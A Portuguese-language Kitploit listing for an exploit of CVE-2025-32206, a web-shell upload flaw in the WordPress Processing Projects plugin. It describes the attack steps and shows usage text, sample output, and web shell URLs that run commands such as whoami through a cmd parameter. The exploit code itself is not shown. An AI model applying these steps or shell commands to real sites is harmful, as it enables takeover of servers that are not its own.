Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-32206 — WordPress Processing Projects Plugin <= 1.0.2 é vulnerável a Upload Arbitrário de Arquivos | Kitploit
Ferramentas/GitHubGitHub/nxploited/cve-2025-32206
Geração de PayloadsAnálise de VulnerabilidadesExploraçãoShellcodeExploração de Aplicações WebTestes de Penetração
GitHubnxploited/cve-2025-32206

CVE-2025-32206

WordPress Processing Projects Plugin <= 1.0.2 é vulnerável a Upload Arbitrário de Arquivos

Ver Repositório
21há 1 anoAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2025-32206 - WordPress Processing Projects <= 1.0.2 Exploração de Upload Arbitrário de Arquivo

CVE-2025-32206 Banner

🔍 Informações do CVE

  • ID do CVE: CVE-2025-32206
  • Tipo de Vulnerabilidade: Upload Irrestrito de Arquivo (Upload de Web Shell)
  • Plugin Afetado: Plugin WordPress Processing Projects
  • Versões Afetadas: De desconhecida (n/a) até 1.0.2
  • Pontuação CVSS: 9.1 (CRÍTICA)
  • Vetor: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

"Vulnerabilidade de Upload Irrestrito de Arquivo com Tipo Perigoso no LABCAT Processing Projects permite que atacantes enviem um web shell para um servidor web. Isso pode levar ao comprometimento total."

🧑‍💻 Descrição do Exploit

Este script de exploração em Python tem como alvo sites WordPress que utilizam o plugin vulnerável Processing Projects (versão <= 1.0.2). O plugin lida incorretamente com uploads de arquivos de usuários autenticados, permitindo que eles enviem arquivos ZIP arbitrários contendo código PHP executável (web shells).

O script de exploração:

  1. Autentica no site WordPress alvo como administrador.
  2. Navega até o endpoint vulnerável e extrai automaticamente os campos nonce.
  3. Cria um arquivo ZIP (Nxploited.zip) contendo um shell PHP malicioso (Nxploit.php).
  4. Envia o arquivo por meio de uma requisição POST simulando o comportamento do administrador do WordPress.
  5. Verifica se o shell está acessível em:
    • http://target.com/wp-content/uploads/processing-projects/Nxploit.php

🐚 Uso do Shell

Após o upload bem-sucedido do shell, ele pode ser usado para executar comandos do sistema por meio do parâmetro cmd. Exemplos:

root@kitploit:~
http://target.com/wp-content/uploads/processing-projects/Nxploit.php?cmd=whoami
http://target.com/wp-content/uploads/processing-projects/Nxploit.php?cmd=ls

Este shell executa comandos arbitrários do sistema operacional e retorna sua saída diretamente na resposta.

🚀 Uso

root@kitploit:~
usage: CVE-2025-32206.py [-h] -u URL -un USERNAME -p PASSWORD

Exploit for CVE-2025-32206 | By Nxploited (Khaled Alenazi)

options:
  -h, --help            show this help message and exit
  -u, --url URL         Target WordPress URL (e.g. http://target.com/wordpress)
  -un, --username USERNAME     WordPress admin username
  -p, --password PASSWORD      WordPress admin password

📄 Exemplo de Saída

root@kitploit:~

[+] CVE-2025-32206 | WordPress Processing Projects <= 1.0.2 - Arbitrary File Upload
[+] By Nxploited | Khaled Alenazi

[+] Created zip with shell: Nxploited.zip -> Nxploit.php
[+] Logged in successfully.
[+] Extracted form fields successfully.
[+] Upload request sent successfully.
[+] Shell executed at: http://target.com/wp-content/uploads/processing-projects/Nxploit.php

⚠️ Aviso Legal

Este script é fornecido apenas para fins educacionais. O uso não autorizado deste exploit em sistemas que você não possui ou sem permissão explícita para testar é ilegal e antiético.

Sempre siga práticas de divulgação responsável e use esta ferramenta apenas em ambientes controlados ou com autorização explícita.

Por: Nxploited | Khaled Alenazi

Baixar ferramenta